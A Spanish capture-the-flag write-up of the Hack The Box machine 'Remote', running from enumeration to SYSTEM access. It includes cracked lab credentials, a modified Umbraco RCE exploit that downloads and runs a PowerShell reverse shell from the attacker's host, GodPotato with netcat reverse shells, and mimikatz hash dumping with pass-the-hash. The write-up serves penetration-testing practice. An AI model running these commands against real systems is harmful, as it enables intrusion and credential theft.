Entrada

Remote - WriteUp

🎯 Machine Info

Machine Remote
Platform HTB
OS Windows
Difficulty Easy

Remote


Máquina Windows

NMAP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
# Nmap 7.94SVN scan initiated Sun Dec  3 18:40:51 2023 as: nmap -sCV -p 21,80,111,135,139,445,2049,5985,47001,49664,49665,49666,49667,49678,49679,49680 --stylesheet=https://raw.githubusercontent.com/honze-net/nmap-bootstrap-xsl/stable/nmap-bootstrap.xsl -oN targeted -oX targetedXML 10.129.229.68
Nmap scan report for 10.129.229.68
Host is up (0.11s latency).

PORT      STATE SERVICE       VERSION
21/tcp    open  ftp           Microsoft ftpd
| ftp-syst: 
|_  SYST: Windows_NT
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
80/tcp    open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Home - Acme Widgets
111/tcp   open  rpcbind       2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/tcp6  rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  2,3,4        111/udp6  rpcbind
|   100003  2,3         2049/udp   nfs
|   100003  2,3         2049/udp6  nfs
|   100003  2,3,4       2049/tcp   nfs
|   100003  2,3,4       2049/tcp6  nfs
|   100005  1,2,3       2049/tcp   mountd
|   100005  1,2,3       2049/tcp6  mountd
|   100005  1,2,3       2049/udp   mountd
|   100005  1,2,3       2049/udp6  mountd
|   100021  1,2,3,4     2049/tcp   nlockmgr
|   100021  1,2,3,4     2049/tcp6  nlockmgr
|   100021  1,2,3,4     2049/udp   nlockmgr
|   100021  1,2,3,4     2049/udp6  nlockmgr
|   100024  1           2049/tcp   status
|   100024  1           2049/tcp6  status
|   100024  1           2049/udp   status
|_  100024  1           2049/udp6  status
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
2049/tcp  open  nlockmgr      1-4 (RPC #100021)
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49678/tcp open  msrpc         Microsoft Windows RPC
49679/tcp open  msrpc         Microsoft Windows RPC
49680/tcp open  msrpc         Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2023-12-03T17:41:50
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
|_clock-skew: -1s

HTTP 80

REMOTE

1
http://10.129.229.68/umbraco/

REMOTE

111 RPC

Vamos a enumerar el puerto 111 tanto en TCP como en UDP para ver si encontramos algo interesante.

Con nmap podríamos enumerarlo de las dos maneras siguientes:

1
2
3
$ sudo nmap -sSUC -p111 10.129.229.68
...
$ sudo nmap -p111 --script=nfs-showmount 10.129.229.68

Vamos a usar rpcinfo para enumerar servicios.

1
$ rpcinfo 10.129.229.68

REMOTE

Tenemos el servicio nfs con el que podríamos subir o descargar archivos. O también probar de montarlos.

1
2
3
4
$ showmount -e 10.129.229.68
...
Export list for 10.129.229.68:
/site_backups (everyone)

Descubrimos una ruta (/site_backups) que podríamos montar ya que tiene permisos para todo el mundo.

1
2
$ sudo mkdir /mnt/remote
$ sudo mount -t nfs 10.129.229.68:/site_backups /mnt/remote -o nolock

Ahora nos vamos a la carpeta que acabamos de montar con permisos de solo lectura y exploraremos todo con detenimiento.

REMOTE

El dominio de correo es @htb.local

Descubro el archivo “Umbraco.sdf” con jugoso contenido en su interior.

REMOTE

1
2
3
4
5
6
7
8
Administratoradmindefaulten-US
Administratoradmindefaulten-USb22924d5-57de-468e-9df4-0961cf6aa30d
Administratoradminb8be16afba8c314ad33d812f22a04991b90e2aaa{"hashAlgorithm":"SHA1"}en-USf8512f97-cab1-4a4b-a49f-0a2054c47a1d
adminadmin@htb.localb8be16afba8c314ad33d812f22a04991b90e2aaa{"hashAlgorithm":"SHA1"}admin@htb.localen-USfeb1a998-d3bf-406a-b30b-e269d7abdf50
adminadmin@htb.localb8be16afba8c314ad33d812f22a04991b90e2aaa{"hashAlgorithm":"SHA1"}admin@htb.localen-US82756c26-4321-4d27-b429-1b5c7c4f882f
smithsmith@htb.localjxDUCcruzN8rSRlqnfmvqw==AIKYyl6Fyy29KA3htB/ERiyJUAdpTtFeTpnIk9CiHts={"hashAlgorithm":"HMACSHA256"}smith@htb.localen-US7e39df83-5e64-4b93-9702-ae257a9b9749-a054-27463ae58b8e
ssmithsmith@htb.localjxDUCcruzN8rSRlqnfmvqw==AIKYyl6Fyy29KA3htB/ERiyJUAdpTtFeTpnIk9CiHts={"hashAlgorithm":"HMACSHA256"}smith@htb.localen-US7e39df83-5e64-4b93-9702-ae257a9b9749
ssmithssmith@htb.local8+xXICbPe7m5NQ22HfcGlg==RF9OLinww9rd2PmaKUpLteR6vesD2MtFaBKe1zL5SXA={"hashAlgorithm":"HMACSHA256"}ssmith@htb.localen-US3628acfb-a62c-4ab0-93f7-5ee9724c8d32

Ahora toca descubrir si son hashes de verdad e identificarlos para intentar crackearlos.

REMOTE

Copiamos este hash en un archivo que he llamado “hash.SHA1” y lo intentamos descifrar con nuestro amigo del alma john:

1
$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.SHA1

REMOTE

Y parece que tenemos ganador!

Apuntamos las credenciales encontradas.

1
admin@htb.local:baconandcheese     ||    UMBRACO Login

Vamos a probar las credenciales en el CMS de Umbraco:

REMOTE

Y entramos!

REMOTE

Vamos a buscar la versión exacta de Umbraco para ver los exploits que hay.

REMOTE

Umbraco version 7.12.4

REMOTE

Encontramos 2 con versión exacta y para Windows. Perfecto.

Nos copiamos el segundo exploit, el 49488 y lo ejecutamos con un comando sencillo para probar que funciuona:

1
$ python3 49488.py -u admin@htb.local -p baconandcheese -i 'http://10.129.229.68' -c whoami -a /priv

REMOTE

Y vemos que sí. Tenemos ejecución remota de comandos y encima ya vemos un privilegio explotable.

Para ello haremos uso del primer exploit. Nos lo copiaremos en nuestra carpeta y lo editaremos de la siguiente manera:

+Info: https://vk9-sec.com/umbraco-cms-7-12-4-authenticated-remote-code-execution/

Copiamos a nuestra carpeta también el script Invoke-PowerShellTcp.ps1, lo editaremos y al final pegaremos esta línea, adaptando la IP a la nuestra:

Invoke-PowerShellTcp -Reverse -IPAddress 10.10.16.30 -Port 4444

Editamos el archivo .py del exploit dejándolo así:

REMOTE

Estas son las líneas en texto editable.

"IEX(IWR http://10.10.16.30:9999/Invoke-PowerShellTcp.ps1 -UseBasicParsing)"
"powershell.exe"
login = "admin@htb.local";
password="baconandcheese";
host = "http://10.129.229.68";

Ahora lanzamos un servidor Web con Python para que el script nos lo coja y lo ejecute.

1
$ python3 -m http.server 9999

Nos ponemos a la escucha para recibir la shell:

1
nc -nlvp 4444

Y por último ejecutamos el exploit:

1
2
3
$ python3 46153.py
Start
[]

REMOTE

Dentro!

ACTUALIZACIÓN

: También podemos usar el exploit de GitHub que es más fácil de aplicar. https://github.com/Jonoans/Umbraco-RCE

Registramos la bandera situada en C:\Users\Public\user.txt y seguimos.

SYSTEMINFO

Host Name:                 REMOTE
OS Name:                   Microsoft Windows Server 2019 Standard
OS Version:                10.0.17763 N/A Build 17763
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Standalone Server
OS Build Type:             Multiprocessor Free
Registered Owner:          Windows User
Registered Organization:
Product ID:                00429-00521-62775-AA801
Original Install Date:     2/19/2020, 3:03:29 PM
System Boot Time:          12/4/2023, 2:59:50 AM
System Manufacturer:       VMware, Inc.
System Model:              VMware7,1
System Type:               x64-based PC
Processor(s):              2 Processor(s) Installed.
                           [01]: Intel64 Family 6 Model 85 Stepping 7 GenuineIntel ~2394 Mhz
                           [02]: Intel64 Family 6 Model 85 Stepping 7 GenuineIntel ~2394 Mhz
BIOS Version:              VMware, Inc. VMW71.00V.21100432.B64.2301110304, 1/11/2023
Windows Directory:         C:\Windows
System Directory:          C:\Windows\system32
Boot Device:               \Device\HarddiskVolume2
System Locale:             en-us;English (United States)
Input Locale:              en-us;English (United States)
Time Zone:                 (UTC-05:00) Eastern Time (US & Canada)
Total Physical Memory:     2,047 MB
Available Physical Memory: 723 MB
Virtual Memory: Max Size:  2,431 MB
Virtual Memory: Available: 1,189 MB
Virtual Memory: In Use:    1,242 MB
Page File Location(s):     C:\pagefile.sys
Domain:                    WORKGROUP
Logon Server:              N/A
Hotfix(s):                 4 Hotfix(s) Installed.
                           [01]: KB4534119
                           [02]: KB4516115
                           [03]: KB4523204
                           [04]: KB4464455
Network Card(s):           1 NIC(s) Installed.
                           [01]: vmxnet3 Ethernet Adapter
                                 Connection Name: Ethernet0 2
                                 DHCP Enabled:    Yes
                                 DHCP Server:     10.129.0.1
                                 IP address(es)
                                 [01]: 10.129.229.68
                                 [02]: fe80::d565:4a6d:9a3:24f0
                                 [03]: dead:beef::d565:4a6d:9a3:24f0

Como tenemos el privilegio “SeImpersonate” habilitado podemos escalar a ususario “System” de una vez.

Para ello crearemos una carpeta llamada “tmp” en “C:\Users\Public\” y nos subiremos el exploit GodPotato.exe y el binario nc.exe.

Aprovechando que tenemos el servidor Web Python levantado nos traeremos los archivos.

> iwr -uri http://10.10.16.30:9999/nc.exe -Outfile nc.exe
...
> iwr -uri http://10.10.16.30:9999/godpotato.exe -Outfile godpotato.exe

Ahora nos ponemos en escucha con NetCat y rlwrap en el puerto 443 en otra terminal nueva:

1
$ rlwrap nc -nlvp 443

En la máquina víctima ejecutamos el exploit.

PS C:\Users\public\tmp> .\godpotato.exe -cmd ".\nc.exe -t -e C:\windows\system32\cmd.exe 10.10.16.30 443"

REMOTE

Éxito. Registramos la bandera que nos queda sita en la carpeta del usuario Administrator y podemos dar por finalizada la máquina.


ANEXO I:

En este punto también podríamos subir mimikatz.exe y obtener el hash del usuario Administrator para conectar por WinRM para investigar la máquina de una manera más cómoda.

1
2
3
4
5
6
7
8
9
10
mimikatz # lsadump::sam
Domain : REMOTE
SysKey : d132fb96a18c6ee06dee89f8effb8e06
Local SID : S-1-5-21-20699823-1431297389-2359617369

SAMKey : fb905a9047b1c62c9d3e592866fc61e8

RID  : 000001f4 (500)
User : Administrator
Hash NTLM: 86fc053bc0b23588798277b22540c40c
1
$ evil-winrm -i 10.129.229.68 -u 'Administrator' -H '86fc053bc0b23588798277b22540c40c'

REMOTE


ANEXO II:

FORMA CORRECTA DE HACER ESCALADA DE PRIVILEGIOS EN ESTA MÁQUINA

Para la escalada de privilegios en vez de tirar de GodPotato, la máquina está pensada para escalar a través de la aplicación que tiene instalada “Teamviewer”.

Nos descargamos el script WatchTV.ps1 de https://github.com/zaphoxx/WatchTV/tree/master y lo subimos a la máquina.

En la máquina remota ejecutamos:

> Import-Module .\WatchTV.ps1
> Get-TeamViewPasswords

REMOTE

Y nos encontrará el password del usuario Administrador en texto plano.

1
Administrator:!R3m0te!

Y ya podremos conectar mediante WinRM:

1
$ evil-winrm -i 10.129.229.68 -u 'Administrator' -p '!R3m0te!'


Última actualización: 2024-07-24
Autor: A. Lorente
Licencia: Creative Commons BY-NC-SA 4.0

Esta entrada está licenciada bajo CC BY 4.0 por el autor.